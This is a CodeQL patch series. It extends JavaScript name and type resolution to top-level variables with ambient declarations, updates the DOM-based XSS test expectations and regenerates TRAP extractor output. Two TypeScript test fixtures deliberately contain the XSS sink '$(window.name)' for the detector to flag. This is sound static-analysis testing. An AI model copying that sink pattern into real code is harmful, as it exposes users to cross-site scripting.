variable that acts as a global variable due to an ambient declaration. + */ + class LocalVariableLike extends Variable { + LocalVariableLike() { this.isLocal() or this.isTopLevelWithAmbientDeclaration() } + + Location getLocation() { + result = + min(Location loc | + loc = this.getADeclaration().getLocation() + | + loc order by loc.getStartLine(), loc.getStartColumn() + ) + } + } + /** * Holds if values/namespaces/types in `node1` can flow to values/namespaces/types in `node2`. */ @@ -224,7 +240,7 @@ module NameResolution { /** * A local variable with exactly one definition, not counting implicit initialization. */ - private class EffectivelyConstantVariable extends LocalVariable { + private class EffectivelyConstantVariable extends LocalVariableLike { EffectivelyConstantVariable() { count(SsaExplicitDefinition ssa | ssa.getSourceVariable() = this) <= 1 // count may be zero if ambient } @@ -294,7 +310,7 @@ module NameResolution { * Holds if `value` is stored in `target.prop`. Only needs to recognise assignments * that are also recognised by JSDoc tooling such as the Closure compiler. */ - private predicate storeToVariable(Expr value, string prop, LocalVariable target) { + private predicate storeToVariable(Expr value, string prop, LocalVariableLike target) { exists(AssignExpr assign | // exports.name = value assign.getLhs().(PropAccess).accesses(target.getAnAccess(), prop) and diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index d0420f177e0..cb575f20ab1 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -190,7 +190,7 @@ module TypeResolution { } predicate contextualType(Node value, Node type) { - exists(LocalVariable v | + exists(LocalVariableLike v | type = v.getADeclaration().getTypeAnnotation() and value = v.getAnAssignedExpr() ) @@ -239,7 +239,7 @@ module TypeResolution { // ValueFlow::step is restricted to variables with at most one assignment. Allow the type annotation // of a variable to propagate to its uses, even if the variable has multiple assignments. type = decl.getTypeAnnotation() and - value = decl.getVariable().(LocalVariable).getAnAccess() + value = decl.getVariable().(LocalVariableLike).getAnAccess() ) or exists(MemberDeclaration member | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index 6ba8ab703bf..0f565949211 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -62,6 +62,8 @@ | dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value | | event-handler-receiver.js:2:31:2:83 | '

' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value | | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:6:15:6:33 | req.param("wobble") | user-provided value | +| jquery-declare-any.ts:6:7:6:17 | window.name | jquery-declare-any.ts:6:7:6:17 | window.name | jquery-declare-any.ts:6:7:6:17 | window.name | Cross-site scripting vulnerability due to $@. | jquery-declare-any.ts:6:7:6:17 | window.name | user-provided value | +| jquery-declare-type.ts:6:7:6:17 | window.name | jquery-declare-type.ts:6:7:6:17 | window.name | jquery-declare-type.ts:6:7:6:17 | window.name | Cross-site scripting vulnerability due to $@. | jquery-declare-type.ts:6:7:6:17 | window.name | user-provided value | | jquery.js:7:5:7:34 | "
" | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "
" | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:8:18:8:34 | "XSS: " + tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:8:18:8:34 | "XSS: " + tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:10:5:10:40 | "" + ... "" | jquery.js:10:13:10:20 | location | jquery.js:10:5:10:40 | "" + ... "" | Cross-site scripting vulnerability due to $@. | jquery.js:10:13:10:20 | location | user-provided value | @@ -954,6 +956,8 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

' | semmle.label | '

' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | +| jquery-declare-any.ts:6:7:6:17 | window.name | semmle.label | window.name | +| jquery-declare-type.ts:6:7:6:17 | window.name | semmle.label | window.name | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index 0ed15b8d92a..c031b7c1810 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -182,6 +182,8 @@ nodes | hana.js:85:35:85:54 | tableRows[0].comment | semmle.label | tableRows[0].comment | | hana.js:90:33:90:34 | rs | semmle.label | rs | | hana.js:90:33:90:45 | rs[0].comment | semmle.label | rs[0].comment | +| jquery-declare-any.ts:6:7:6:17 | window.name | semmle.label | window.name | +| jquery-declare-type.ts:6:7:6:17 | window.name | semmle.label | window.name | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts index fc0dfbc7390..df8267bba30 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts @@ -3,5 +3,5 @@ import 'dummy'; declare var $: any; function t() { - $(window.name); // $ MISSING: Alert + $(window.name); // $ Alert } diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts index 072f98a5377..c866f71a1eb 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts @@ -3,5 +3,5 @@ import 'dummy'; declare var $: JQueryStatic; function t() { - $(window.name); // $ MISSING: Alert + $(window.name); // $ Alert } From 11607e5f621240fe220847968460552849b66891 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 19 May 2025 13:03:02 +0200 Subject: [PATCH 058/271] JS: Update TRAP after extractor change --- .../ts/output/trap/conditionalTypes.ts.trap | 2286 ++++++++--------- .../tests/ts/output/trap/declareClass.ts.trap | 103 +- .../ts/output/trap/functiondecorators.ts.trap | 131 +- .../tests/ts/output/trap/nobody.ts.trap | 889 +++---- .../ts/output/trap/thisparameter.ts.trap | 272 +- 5 files changed, 1844 insertions(+), 1837 deletions(-) diff --git a/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap b/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap index 0751d283e6c..2a1c0efbd44 100644 --- a/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap @@ -8434,1316 +8434,1316 @@ namespacedecl(#22807,#22182) scopes(#22808,9) scopenodes(#22805,#22808) scopenesting(#22808,#20000) -#22809=@"local_type_name;{Unpacked};{#22808}" -local_type_names(#22809,"Unpacked",#22808) -#22810=@"local_type_name;{T0};{#22808}" -local_type_names(#22810,"T0",#22808) -#22811=@"local_type_name;{T1};{#22808}" -local_type_names(#22811,"T1",#22808) -#22812=@"local_type_name;{T2};{#22808}" -local_type_names(#22812,"T2",#22808) -#22813=@"local_type_name;{T3};{#22808}" -local_type_names(#22813,"T3",#22808) -#22814=@"local_type_name;{T4};{#22808}" -local_type_names(#22814,"T4",#22808) -#22815=@"local_type_name;{T5};{#22808}" -local_type_names(#22815,"T5",#22808) -#22816=@"local_type_name;{Foo};{#22808}" -local_type_names(#22816,"Foo",#22808) -#22817=@"local_type_name;{T10};{#22808}" -local_type_names(#22817,"T10",#22808) -#22818=@"local_type_name;{T11};{#22808}" -local_type_names(#22818,"T11",#22808) -#22819=@"local_type_name;{Bar};{#22808}" -local_type_names(#22819,"Bar",#22808) -#22820=@"local_type_name;{T20};{#22808}" -local_type_names(#22820,"T20",#22808) -#22821=@"local_type_name;{T21};{#22808}" -local_type_names(#22821,"T21",#22808) -#22822=@"local_type_name;{T30};{#22808}" -local_type_names(#22822,"T30",#22808) -#22823=@"local_type_name;{AnyFunction};{#22808}" -local_type_names(#22823,"AnyFunction",#22808) -#22824=@"local_type_name;{ReturnType};{#22808}" -local_type_names(#22824,"ReturnType",#22808) -#22825=* -stmts(#22825,35,#22805,0,"type Un ... \n T;") -#22826=@"loc,{#10000},73,3,77,6" -locations_default(#22826,#10000,73,3,77,6) -hasLocation(#22825,#22826) -stmt_containers(#22825,#22805) -#22827=* -typeexprs(#22827,1,#22825,0,"Unpacked") -hasLocation(#22827,#21482) -enclosing_stmt(#22827,#22825) -expr_containers(#22827,#22805) -literals("Unpacked","Unpacked",#22827) -typedecl(#22827,#22809) +#22809=@"var;{foo};{#22808}" +variables(#22809,"foo",#22808) +#22810=@"local_type_name;{Unpacked};{#22808}" +local_type_names(#22810,"Unpacked",#22808) +#22811=@"local_type_name;{T0};{#22808}" +local_type_names(#22811,"T0",#22808) +#22812=@"local_type_name;{T1};{#22808}" +local_type_names(#22812,"T1",#22808) +#22813=@"local_type_name;{T2};{#22808}" +local_type_names(#22813,"T2",#22808) +#22814=@"local_type_name;{T3};{#22808}" +local_type_names(#22814,"T3",#22808) +#22815=@"local_type_name;{T4};{#22808}" +local_type_names(#22815,"T4",#22808) +#22816=@"local_type_name;{T5};{#22808}" +local_type_names(#22816,"T5",#22808) +#22817=@"local_type_name;{Foo};{#22808}" +local_type_names(#22817,"Foo",#22808) +#22818=@"local_type_name;{T10};{#22808}" +local_type_names(#22818,"T10",#22808) +#22819=@"local_type_name;{T11};{#22808}" +local_type_names(#22819,"T11",#22808) +#22820=@"local_type_name;{Bar};{#22808}" +local_type_names(#22820,"Bar",#22808) +#22821=@"local_type_name;{T20};{#22808}" +local_type_names(#22821,"T20",#22808) +#22822=@"local_type_name;{T21};{#22808}" +local_type_names(#22822,"T21",#22808) +#22823=@"local_type_name;{T30};{#22808}" +local_type_names(#22823,"T30",#22808) +#22824=@"local_type_name;{AnyFunction};{#22808}" +local_type_names(#22824,"AnyFunction",#22808) +#22825=@"local_type_name;{ReturnType};{#22808}" +local_type_names(#22825,"ReturnType",#22808) +#22826=* +stmts(#22826,35,#22805,0,"type Un ... \n T;") +#22827=@"loc,{#10000},73,3,77,6" +locations_default(#22827,#10000,73,3,77,6) +hasLocation(#22826,#22827) +stmt_containers(#22826,#22805) #22828=* -scopes(#22828,12) -scopenodes(#22825,#22828) -scopenesting(#22828,#22808) -#22829=@"local_type_name;{T};{#22828}" -local_type_names(#22829,"T",#22828) -#22830=* -typeexprs(#22830,22,#22825,2,"T") -hasLocation(#22830,#21486) -enclosing_stmt(#22830,#22825) -expr_containers(#22830,#22805) +typeexprs(#22828,1,#22826,0,"Unpacked") +hasLocation(#22828,#21482) +enclosing_stmt(#22828,#22826) +expr_containers(#22828,#22805) +literals("Unpacked","Unpacked",#22828) +typedecl(#22828,#22810) +#22829=* +scopes(#22829,12) +scopenodes(#22826,#22829) +scopenesting(#22829,#22808) +#22830=@"local_type_name;{T};{#22829}" +local_type_names(#22830,"T",#22829) #22831=* -typeexprs(#22831,1,#22830,0,"T") +typeexprs(#22831,22,#22826,2,"T") hasLocation(#22831,#21486) -enclosing_stmt(#22831,#22825) +enclosing_stmt(#22831,#22826) expr_containers(#22831,#22805) -literals("T","T",#22831) -typedecl(#22831,#22829) #22832=* -typeexprs(#22832,28,#22825,1,"T exten ... :\n T") -#22833=@"loc,{#10000},74,5,77,5" -locations_default(#22833,#10000,74,5,77,5) -hasLocation(#22832,#22833) -enclosing_stmt(#22832,#22825) +typeexprs(#22832,1,#22831,0,"T") +hasLocation(#22832,#21486) +enclosing_stmt(#22832,#22826) expr_containers(#22832,#22805) -#22834=* -typeexprs(#22834,0,#22832,0,"T") -hasLocation(#22834,#21492) -enclosing_stmt(#22834,#22825) -expr_containers(#22834,#22805) -literals("T","T",#22834) -typebind(#22834,#22829) +literals("T","T",#22832) +typedecl(#22832,#22830) +#22833=* +typeexprs(#22833,28,#22826,1,"T exten ... :\n T") +#22834=@"loc,{#10000},74,5,77,5" +locations_default(#22834,#10000,74,5,77,5) +hasLocation(#22833,#22834) +enclosing_stmt(#22833,#22826) +expr_containers(#22833,#22805) #22835=* -scopes(#22835,16) -scopenodes(#22832,#22835) -scopenesting(#22835,#22828) -#22836=@"local_type_name;{U};{#22835}" -local_type_names(#22836,"U",#22835) -#22837=* -typeexprs(#22837,6,#22832,1,"(infer U)[]") -#22838=@"loc,{#10000},74,15,74,25" -locations_default(#22838,#10000,74,15,74,25) -hasLocation(#22837,#22838) -enclosing_stmt(#22837,#22825) -expr_containers(#22837,#22805) -#22839=* -typeexprs(#22839,10,#22837,0,"(infer U)") -#22840=@"loc,{#10000},74,15,74,23" -locations_default(#22840,#10000,74,15,74,23) -hasLocation(#22839,#22840) -enclosing_stmt(#22839,#22825) -expr_containers(#22839,#22805) -#22841=* -typeexprs(#22841,29,#22839,0,"infer U") -#22842=@"loc,{#10000},74,16,74,22" -locations_default(#22842,#10000,74,16,74,22) -hasLocation(#22841,#22842) -enclosing_stmt(#22841,#22825) -expr_containers(#22841,#22805) -#22843=* -typeexprs(#22843,22,#22841,0,"U") -hasLocation(#22843,#21500) -enclosing_stmt(#22843,#22825) -expr_containers(#22843,#22805) +typeexprs(#22835,0,#22833,0,"T") +hasLocation(#22835,#21492) +enclosing_stmt(#22835,#22826) +expr_containers(#22835,#22805) +literals("T","T",#22835) +typebind(#22835,#22830) +#22836=* +scopes(#22836,16) +scopenodes(#22833,#22836) +scopenesting(#22836,#22829) +#22837=@"local_type_name;{U};{#22836}" +local_type_names(#22837,"U",#22836) +#22838=* +typeexprs(#22838,6,#22833,1,"(infer U)[]") +#22839=@"loc,{#10000},74,15,74,25" +locations_default(#22839,#10000,74,15,74,25) +hasLocation(#22838,#22839) +enclosing_stmt(#22838,#22826) +expr_containers(#22838,#22805) +#22840=* +typeexprs(#22840,10,#22838,0,"(infer U)") +#22841=@"loc,{#10000},74,15,74,23" +locations_default(#22841,#10000,74,15,74,23) +hasLocation(#22840,#22841) +enclosing_stmt(#22840,#22826) +expr_containers(#22840,#22805) +#22842=* +typeexprs(#22842,29,#22840,0,"infer U") +#22843=@"loc,{#10000},74,16,74,22" +locations_default(#22843,#10000,74,16,74,22) +hasLocation(#22842,#22843) +enclosing_stmt(#22842,#22826) +expr_containers(#22842,#22805) #22844=* -typeexprs(#22844,1,#22843,0,"U") +typeexprs(#22844,22,#22842,0,"U") hasLocation(#22844,#21500) -enclosing_stmt(#22844,#22825) +enclosing_stmt(#22844,#22826) expr_containers(#22844,#22805) -literals("U","U",#22844) -typedecl(#22844,#22836) #22845=* -typeexprs(#22845,0,#22832,2,"U") -hasLocation(#22845,#21510) -enclosing_stmt(#22845,#22825) +typeexprs(#22845,1,#22844,0,"U") +hasLocation(#22845,#21500) +enclosing_stmt(#22845,#22826) expr_containers(#22845,#22805) literals("U","U",#22845) -typebind(#22845,#22836) +typedecl(#22845,#22837) #22846=* -typeexprs(#22846,28,#22832,3,"T exten ... :\n T") -#22847=@"loc,{#10000},75,5,77,5" -locations_default(#22847,#10000,75,5,77,5) -hasLocation(#22846,#22847) -enclosing_stmt(#22846,#22825) +typeexprs(#22846,0,#22833,2,"U") +hasLocation(#22846,#21510) +enclosing_stmt(#22846,#22826) expr_containers(#22846,#22805) -#22848=* -typeexprs(#22848,0,#22846,0,"T") -hasLocation(#22848,#21514) -enclosing_stmt(#22848,#22825) -expr_containers(#22848,#22805) -literals("T","T",#22848) -typebind(#22848,#22829) +literals("U","U",#22846) +typebind(#22846,#22837) +#22847=* +typeexprs(#22847,28,#22833,3,"T exten ... :\n T") +#22848=@"loc,{#10000},75,5,77,5" +locations_default(#22848,#10000,75,5,77,5) +hasLocation(#22847,#22848) +enclosing_stmt(#22847,#22826) +expr_containers(#22847,#22805) #22849=* -scopes(#22849,16) -scopenodes(#22846,#22849) -scopenesting(#22849,#22828) -#22850=@"local_type_name;{U};{#22849}" -local_type_names(#22850,"U",#22849) -#22851=* -typeexprs(#22851,23,#22846,1,"(...arg ... infer U") -#22852=@"loc,{#10000},75,15,75,41" -locations_default(#22852,#10000,75,15,75,41) -hasLocation(#22851,#22852) -enclosing_stmt(#22851,#22825) -expr_containers(#22851,#22805) -#22853=* -exprs(#22853,9,#22851,0,"(...arg ... infer U") -hasLocation(#22853,#22852) -enclosing_stmt(#22853,#22825) -expr_containers(#22853,#22805) +typeexprs(#22849,0,#22847,0,"T") +hasLocation(#22849,#21514) +enclosing_stmt(#22849,#22826) +expr_containers(#22849,#22805) +literals("T","T",#22849) +typebind(#22849,#22830) +#22850=* +scopes(#22850,16) +scopenodes(#22847,#22850) +scopenesting(#22850,#22829) +#22851=@"local_type_name;{U};{#22850}" +local_type_names(#22851,"U",#22850) +#22852=* +typeexprs(#22852,23,#22847,1,"(...arg ... infer U") +#22853=@"loc,{#10000},75,15,75,41" +locations_default(#22853,#10000,75,15,75,41) +hasLocation(#22852,#22853) +enclosing_stmt(#22852,#22826) +expr_containers(#22852,#22805) #22854=* -scopes(#22854,1) -scopenodes(#22853,#22854) -scopenesting(#22854,#22849) -#22855=@"var;{args};{#22854}" -variables(#22855,"args",#22854) -#22856=* -exprs(#22856,78,#22853,0,"args") -hasLocation(#22856,#21522) -expr_containers(#22856,#22853) -literals("args","args",#22856) -decl(#22856,#22855) -#22857=@"var;{arguments};{#22854}" -variables(#22857,"arguments",#22854) -is_arguments_object(#22857) -#22858=* -typeexprs(#22858,29,#22853,-3,"infer U") -#22859=@"loc,{#10000},75,35,75,41" -locations_default(#22859,#10000,75,35,75,41) -hasLocation(#22858,#22859) -expr_containers(#22858,#22853) -#22860=* -typeexprs(#22860,22,#22858,0,"U") -hasLocation(#22860,#21538) -expr_containers(#22860,#22853) +exprs(#22854,9,#22852,0,"(...arg ... infer U") +hasLocation(#22854,#22853) +enclosing_stmt(#22854,#22826) +expr_containers(#22854,#22805) +#22855=* +scopes(#22855,1) +scopenodes(#22854,#22855) +scopenesting(#22855,#22850) +#22856=@"var;{args};{#22855}" +variables(#22856,"args",#22855) +#22857=* +exprs(#22857,78,#22854,0,"args") +hasLocation(#22857,#21522) +expr_containers(#22857,#22854) +literals("args","args",#22857) +decl(#22857,#22856) +#22858=@"var;{arguments};{#22855}" +variables(#22858,"arguments",#22855) +is_arguments_object(#22858) +#22859=* +typeexprs(#22859,29,#22854,-3,"infer U") +#22860=@"loc,{#10000},75,35,75,41" +locations_default(#22860,#10000,75,35,75,41) +hasLocation(#22859,#22860) +expr_containers(#22859,#22854) #22861=* -typeexprs(#22861,1,#22860,0,"U") +typeexprs(#22861,22,#22859,0,"U") hasLocation(#22861,#21538) -expr_containers(#22861,#22853) -literals("U","U",#22861) -typedecl(#22861,#22850) +expr_containers(#22861,#22854) #22862=* -typeexprs(#22862,6,#22853,-6,"any[]") -#22863=@"loc,{#10000},75,25,75,29" -locations_default(#22863,#10000,75,25,75,29) -hasLocation(#22862,#22863) -expr_containers(#22862,#22853) -#22864=* -typeexprs(#22864,2,#22862,0,"any") -hasLocation(#22864,#21526) -expr_containers(#22864,#22853) -literals("any","any",#22864) -has_rest_parameter(#22853) +typeexprs(#22862,1,#22861,0,"U") +hasLocation(#22862,#21538) +expr_containers(#22862,#22854) +literals("U","U",#22862) +typedecl(#22862,#22851) +#22863=* +typeexprs(#22863,6,#22854,-6,"any[]") +#22864=@"loc,{#10000},75,25,75,29" +locations_default(#22864,#10000,75,25,75,29) +hasLocation(#22863,#22864) +expr_containers(#22863,#22854) #22865=* -typeexprs(#22865,0,#22846,2,"U") -hasLocation(#22865,#21542) -enclosing_stmt(#22865,#22825) -expr_containers(#22865,#22805) -literals("U","U",#22865) -typebind(#22865,#22850) +typeexprs(#22865,2,#22863,0,"any") +hasLocation(#22865,#21526) +expr_containers(#22865,#22854) +literals("any","any",#22865) +has_rest_parameter(#22854) #22866=* -typeexprs(#22866,28,#22846,3,"T exten ... :\n T") -#22867=@"loc,{#10000},76,5,77,5" -locations_default(#22867,#10000,76,5,77,5) -hasLocation(#22866,#22867) -enclosing_stmt(#22866,#22825) +typeexprs(#22866,0,#22847,2,"U") +hasLocation(#22866,#21542) +enclosing_stmt(#22866,#22826) expr_containers(#22866,#22805) -#22868=* -typeexprs(#22868,0,#22866,0,"T") -hasLocation(#22868,#21546) -enclosing_stmt(#22868,#22825) -expr_containers(#22868,#22805) -literals("T","T",#22868) -typebind(#22868,#22829) +literals("U","U",#22866) +typebind(#22866,#22851) +#22867=* +typeexprs(#22867,28,#22847,3,"T exten ... :\n T") +#22868=@"loc,{#10000},76,5,77,5" +locations_default(#22868,#10000,76,5,77,5) +hasLocation(#22867,#22868) +enclosing_stmt(#22867,#22826) +expr_containers(#22867,#22805) #22869=* -scopes(#22869,16) -scopenodes(#22866,#22869) -scopenesting(#22869,#22828) -#22870=@"local_type_name;{U};{#22869}" -local_type_names(#22870,"U",#22869) -#22871=* -typeexprs(#22871,14,#22866,1,"Promise") -#22872=@"loc,{#10000},76,15,76,30" -locations_default(#22872,#10000,76,15,76,30) -hasLocation(#22871,#22872) -enclosing_stmt(#22871,#22825) -expr_containers(#22871,#22805) -#22873=* -typeexprs(#22873,0,#22871,-1,"Promise") -hasLocation(#22873,#21550) -enclosing_stmt(#22873,#22825) -expr_containers(#22873,#22805) -literals("Promise","Promise",#22873) +typeexprs(#22869,0,#22867,0,"T") +hasLocation(#22869,#21546) +enclosing_stmt(#22869,#22826) +expr_containers(#22869,#22805) +literals("T","T",#22869) +typebind(#22869,#22830) +#22870=* +scopes(#22870,16) +scopenodes(#22867,#22870) +scopenesting(#22870,#22829) +#22871=@"local_type_name;{U};{#22870}" +local_type_names(#22871,"U",#22870) +#22872=* +typeexprs(#22872,14,#22867,1,"Promise") +#22873=@"loc,{#10000},76,15,76,30" +locations_default(#22873,#10000,76,15,76,30) +hasLocation(#22872,#22873) +enclosing_stmt(#22872,#22826) +expr_containers(#22872,#22805) #22874=* -typeexprs(#22874,29,#22871,0,"infer U") -#22875=@"loc,{#10000},76,23,76,29" -locations_default(#22875,#10000,76,23,76,29) -hasLocation(#22874,#22875) -enclosing_stmt(#22874,#22825) +typeexprs(#22874,0,#22872,-1,"Promise") +hasLocation(#22874,#21550) +enclosing_stmt(#22874,#22826) expr_containers(#22874,#22805) -#22876=* -typeexprs(#22876,22,#22874,0,"U") -hasLocation(#22876,#21556) -enclosing_stmt(#22876,#22825) -expr_containers(#22876,#22805) +literals("Promise","Promise",#22874) +#22875=* +typeexprs(#22875,29,#22872,0,"infer U") +#22876=@"loc,{#10000},76,23,76,29" +locations_default(#22876,#10000,76,23,76,29) +hasLocation(#22875,#22876) +enclosing_stmt(#22875,#22826) +expr_containers(#22875,#22805) #22877=* -typeexprs(#22877,1,#22876,0,"U") +typeexprs(#22877,22,#22875,0,"U") hasLocation(#22877,#21556) -enclosing_stmt(#22877,#22825) +enclosing_stmt(#22877,#22826) expr_containers(#22877,#22805) -literals("U","U",#22877) -typedecl(#22877,#22870) #22878=* -typeexprs(#22878,0,#22866,2,"U") -hasLocation(#22878,#21562) -enclosing_stmt(#22878,#22825) +typeexprs(#22878,1,#22877,0,"U") +hasLocation(#22878,#21556) +enclosing_stmt(#22878,#22826) expr_containers(#22878,#22805) literals("U","U",#22878) -typebind(#22878,#22870) +typedecl(#22878,#22871) #22879=* -typeexprs(#22879,0,#22866,3,"T") -hasLocation(#22879,#21566) -enclosing_stmt(#22879,#22825) +typeexprs(#22879,0,#22867,2,"U") +hasLocation(#22879,#21562) +enclosing_stmt(#22879,#22826) expr_containers(#22879,#22805) -literals("T","T",#22879) -typebind(#22879,#22829) +literals("U","U",#22879) +typebind(#22879,#22871) #22880=* -stmts(#22880,35,#22805,1,"type T0 ... tring>;") -#22881=@"loc,{#10000},79,3,79,29" -locations_default(#22881,#10000,79,3,79,29) -hasLocation(#22880,#22881) -stmt_containers(#22880,#22805) -#22882=* -typeexprs(#22882,1,#22880,0,"T0") -hasLocation(#22882,#21572) -enclosing_stmt(#22882,#22880) -expr_containers(#22882,#22805) -literals("T0","T0",#22882) -typedecl(#22882,#22810) +typeexprs(#22880,0,#22867,3,"T") +hasLocation(#22880,#21566) +enclosing_stmt(#22880,#22826) +expr_containers(#22880,#22805) +literals("T","T",#22880) +typebind(#22880,#22830) +#22881=* +stmts(#22881,35,#22805,1,"type T0 ... tring>;") +#22882=@"loc,{#10000},79,3,79,29" +locations_default(#22882,#10000,79,3,79,29) +hasLocation(#22881,#22882) +stmt_containers(#22881,#22805) #22883=* -typeexprs(#22883,14,#22880,1,"Unpacked") -#22884=@"loc,{#10000},79,13,79,28" -locations_default(#22884,#10000,79,13,79,28) -hasLocation(#22883,#22884) -enclosing_stmt(#22883,#22880) +typeexprs(#22883,1,#22881,0,"T0") +hasLocation(#22883,#21572) +enclosing_stmt(#22883,#22881) expr_containers(#22883,#22805) -#22885=* -typeexprs(#22885,0,#22883,-1,"Unpacked") -hasLocation(#22885,#21576) -enclosing_stmt(#22885,#22880) -expr_containers(#22885,#22805) -literals("Unpacked","Unpacked",#22885) -typebind(#22885,#22809) +literals("T0","T0",#22883) +typedecl(#22883,#22811) +#22884=* +typeexprs(#22884,14,#22881,1,"Unpacked") +#22885=@"loc,{#10000},79,13,79,28" +locations_default(#22885,#10000,79,13,79,28) +hasLocation(#22884,#22885) +enclosing_stmt(#22884,#22881) +expr_containers(#22884,#22805) #22886=* -typeexprs(#22886,2,#22883,0,"string") -hasLocation(#22886,#21580) -enclosing_stmt(#22886,#22880) +typeexprs(#22886,0,#22884,-1,"Unpacked") +hasLocation(#22886,#21576) +enclosing_stmt(#22886,#22881) expr_containers(#22886,#22805) -literals("string","string",#22886) +literals("Unpacked","Unpacked",#22886) +typebind(#22886,#22810) #22887=* -stmts(#22887,35,#22805,2,"type T1 ... ing[]>;") -#22888=@"loc,{#10000},80,3,80,31" -locations_default(#22888,#10000,80,3,80,31) -hasLocation(#22887,#22888) -stmt_containers(#22887,#22805) -#22889=* -typeexprs(#22889,1,#22887,0,"T1") -hasLocation(#22889,#21588) -enclosing_stmt(#22889,#22887) -expr_containers(#22889,#22805) -literals("T1","T1",#22889) -typedecl(#22889,#22811) +typeexprs(#22887,2,#22884,0,"string") +hasLocation(#22887,#21580) +enclosing_stmt(#22887,#22881) +expr_containers(#22887,#22805) +literals("string","string",#22887) +#22888=* +stmts(#22888,35,#22805,2,"type T1 ... ing[]>;") +#22889=@"loc,{#10000},80,3,80,31" +locations_default(#22889,#10000,80,3,80,31) +hasLocation(#22888,#22889) +stmt_containers(#22888,#22805) #22890=* -typeexprs(#22890,14,#22887,1,"Unpacked") -#22891=@"loc,{#10000},80,13,80,30" -locations_default(#22891,#10000,80,13,80,30) -hasLocation(#22890,#22891) -enclosing_stmt(#22890,#22887) +typeexprs(#22890,1,#22888,0,"T1") +hasLocation(#22890,#21588) +enclosing_stmt(#22890,#22888) expr_containers(#22890,#22805) -#22892=* -typeexprs(#22892,0,#22890,-1,"Unpacked") -hasLocation(#22892,#21592) -enclosing_stmt(#22892,#22887) -expr_containers(#22892,#22805) -literals("Unpacked","Unpacked",#22892) -typebind(#22892,#22809) +literals("T1","T1",#22890) +typedecl(#22890,#22812) +#22891=* +typeexprs(#22891,14,#22888,1,"Unpacked") +#22892=@"loc,{#10000},80,13,80,30" +locations_default(#22892,#10000,80,13,80,30) +hasLocation(#22891,#22892) +enclosing_stmt(#22891,#22888) +expr_containers(#22891,#22805) #22893=* -typeexprs(#22893,6,#22890,0,"string[]") -#22894=@"loc,{#10000},80,22,80,29" -locations_default(#22894,#10000,80,22,80,29) -hasLocation(#22893,#22894) -enclosing_stmt(#22893,#22887) +typeexprs(#22893,0,#22891,-1,"Unpacked") +hasLocation(#22893,#21592) +enclosing_stmt(#22893,#22888) expr_containers(#22893,#22805) -#22895=* -typeexprs(#22895,2,#22893,0,"string") -hasLocation(#22895,#21596) -enclosing_stmt(#22895,#22887) -expr_containers(#22895,#22805) -literals("string","string",#22895) +literals("Unpacked","Unpacked",#22893) +typebind(#22893,#22810) +#22894=* +typeexprs(#22894,6,#22891,0,"string[]") +#22895=@"loc,{#10000},80,22,80,29" +locations_default(#22895,#10000,80,22,80,29) +hasLocation(#22894,#22895) +enclosing_stmt(#22894,#22888) +expr_containers(#22894,#22805) #22896=* -stmts(#22896,35,#22805,3,"type T2 ... tring>;") -#22897=@"loc,{#10000},81,3,81,35" -locations_default(#22897,#10000,81,3,81,35) -hasLocation(#22896,#22897) -stmt_containers(#22896,#22805) -#22898=* 